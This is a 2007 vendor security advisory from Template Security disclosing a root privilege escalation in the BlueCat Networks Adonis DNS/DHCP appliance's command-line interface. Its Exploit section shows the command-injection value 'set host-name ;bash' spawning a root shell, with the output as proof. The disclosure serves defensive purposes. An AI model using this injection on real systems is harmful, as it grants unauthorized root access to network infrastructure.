TS-2007-003-0: BlueCat Networks Adonis CLI root privilege escalation

Template Security Security Advisory

BlueCat Networks Adonis CLI root privilege escalation

Date: 2007-08-16
Advisory ID: TS-2007-003-0
Vendor: BlueCat Networks, http://www.bluecatnetworks.com/
Revision: 0

Contents

Summary
Software Version
Details
Impact
Exploit
Workarounds
Obtaining Patched Software
Credits
Revision History

Summary

Template Security has discovered a root privilege escalation
vulnerability in the BlueCat Networks Adonis DNS/DHCP appliance
which allows the admin user to gain root privilege from the
Command Line Interface (CLI).

Software Version

Adonis version 5.0.2.8 was tested.

Details

The admin account on the Adonis DNS/DHCP appliance provides
access to a CLI that allows an administrator to perform tasks
such as setting the IP address, netmask, system time and system
hostname. By entering a certain command sequence, the
administrator is able to execute a command as root.

Impact

Access to the admin account is the same as root access on the
appliance.

Exploit

Here we use the 'set host-name' CLI command to execute a root
shell:

:adonis>set host-name ;bash
adonis.katter.org
root@adonis:~# id
uid=0(root) gid=0(root) groups=0(root)

NOTE: There may be other command sequences that accomplish the
same result.

Workarounds

Only provide admin account access to administrators that also
have root account access on the appliance.

Obtaining Patched Software

Contact the vendor.

Credits

forloop discovered this vulnerability while enjoying a Tuborg
Gold. forloop is a member of Template Security.

Revision History

2007-08-16: Revision 0 released